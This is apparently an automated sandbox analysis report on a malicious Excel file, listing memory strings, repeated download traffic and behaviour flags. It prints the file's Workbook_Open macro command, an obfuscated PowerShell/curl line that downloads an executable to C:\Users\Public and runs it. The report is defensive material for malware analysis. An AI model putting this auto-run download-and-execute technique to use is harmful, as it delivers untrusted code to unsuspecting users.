Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://management.azure.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://management.azure.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.action.office.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.engagement.office.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.lifecycle.office.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://messaging.office.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://my.microsoftpersonalcontent.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ncus.contentsync.
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ncus.pagecontentsync.
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://officeapps.live.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://onedrive.live.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://osi.office.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://otelrules.azureedge.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://outlook.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://outlook.office.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://outlook.office365.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://outlook.office365.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://pages.store.office.com/review/query
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://powerlift.acompli.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: pin77.exe.3.drString found in binary or memory: https://sectigo.com/CPS0
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://settings.outlook.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://staging.cortana.ai
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://tasks.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://webshell.suite.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://wus2.contentsync.
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://wus2.pagecontentsync.
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: pin77.exe, pin77.exe, 00000014.00000000.332072884.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000014.00000003.339012313.0000000003871000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000014.00000002.1424606423.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000019.00000000.343181471.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000019.00000003.346475187.00000000037A1000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000019.00000002.1425214138.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000001F.00000000.368397866.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000001F.00000002.1424400549.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000001F.00000003.369296026.0000000003611000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000023.00000000.392360958.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000023.00000002.1424548607.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000023.00000003.394085392.0000000003EF1000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000027.00000000.431308185.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000027.00000002.1425266749.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000002B.00000000.466360599.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 0000002B.00000003.467134535.00000000027A1000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 0000002B.00000002.1424617398.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000031.00000000.504368658.00000000003B7000.00000002.00000001.01000000.00000004.sdmp, pin77.exe, 00000031.00000003.506126360.0000000002561000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000031.00000002.1424668650.00000000003B7000.00000002.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: pin77.exe.3.drString found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://www.odwebp.svc.ms
Source: unknownDNS traffic detected: queries for: the.earth.li
Source: C:\Users\Public\pin77.exeCode function: 12_2_003266A0 recv,accept,WSAGetLastError,closesocket,recv,ioctlsocket,WSAGetLastError,recv,WSAGetLastError,12_2_003266A0
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: C:\Users\Public\pin77.exeCode function: 12_2_002FA910 GetKeyboardState,12_2_002FA910
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F60F0 GlobalAlloc,GlobalLock,GlobalUnlock,SendMessageA,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,SendMessageA,GlobalFree,12_2_002F60F0
Source: powershell.exeProcess created: 46

System Summary

barindex
Document contains an embedded VBA macro which may execute processes
Source: 827837hj.xlsOLE, VBA macro line: understandremember.exec go8d7sa6
Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, API IWshShell3.exec("cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe")Name: Workbook_Open
Document contains an embedded VBA with base64 encoded strings
Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String pushresponse
Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function Workbook_Open, String pushresponse
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\pin77.exeJump to dropped file
Source: C:\Users\Public\pin77.exeCode function: 12_2_0030003012_2_00300030
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035A06012_2_0035A060
Source: C:\Users\Public\pin77.exeCode function: 12_2_0030E0F012_2_0030E0F0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037C12012_2_0037C120
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036810012_2_00368100
Source: C:\Users\Public\pin77.exeCode function: 12_2_0030224012_2_00302240
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037E29012_2_0037E290
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036E28012_2_0036E280
Source: C:\Users\Public\pin77.exeCode function: 12_2_0032A2D012_2_0032A2D0
Source: C:\Users\Public\pin77.exeCode function: 12_2_003963AB12_2_003963AB
Source: C:\Users\Public\pin77.exeCode function: 12_2_003063F012_2_003063F0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038A3F012_2_0038A3F0
Source: C:\Users\Public\pin77.exeCode function: 12_2_003803D012_2_003803D0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036E47012_2_0036E470
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037646012_2_00376460
Source: C:\Users\Public\pin77.exeCode function: 12_2_003584A012_2_003584A0
Source: C:\Users\Public\pin77.exeCode function: 12_2_003684F012_2_003684F0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035262012_2_00352620
Source: C:\Users\Public\pin77.exeCode function: 12_2_0031066012_2_00310660
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037669012_2_00376690
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037877012_2_00378770
Source: C:\Users\Public\pin77.exeCode function: 12_2_0030224012_2_00302240
Source: C:\Users\Public\pin77.exeCode function: 12_2_003747D012_2_003747D0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036E80012_2_0036E800
Source: C:\Users\Public\pin77.exeCode function: 12_2_0030A8D012_2_0030A8D0
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F88D012_2_002F88D0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037692012_2_00376920
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035C9F012_2_0035C9F0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035AB1012_2_0035AB10
Source: C:\Users\Public\pin77.exeCode function: 12_2_00348B4012_2_00348B40
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036CD2012_2_0036CD20
Source: C:\Users\Public\pin77.exeCode function: 12_2_00392D2712_2_00392D27
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038ED0012_2_0038ED00
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038AD0012_2_0038AD00
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038CD9012_2_0038CD90
Source: C:\Users\Public\pin77.exeCode function: 12_2_00300E9012_2_00300E90
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036CF2012_2_0036CF20
Source: C:\Users\Public\pin77.exeCode function: 12_2_00374F7012_2_00374F70
Source: C:\Users\Public\pin77.exeCode function: 12_2_002FCFB012_2_002FCFB0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0032B03012_2_0032B030
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038D02012_2_0038D020
Source: C:\Users\Public\pin77.exeCode function: 12_2_0034506012_2_00345060
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035D05012_2_0035D050
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036D0A012_2_0036D0A0
Source: C:\Users\Public\pin77.exeCode function: 12_2_0037D08012_2_0037D080
Source: C:\Users\Public\pin77.exeCode function: 12_2_003690C012_2_003690C0
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F113012_2_002F1130
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036D29012_2_0036D290
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035928012_2_00359280
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035B38012_2_0035B380
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036F3F012_2_0036F3F0
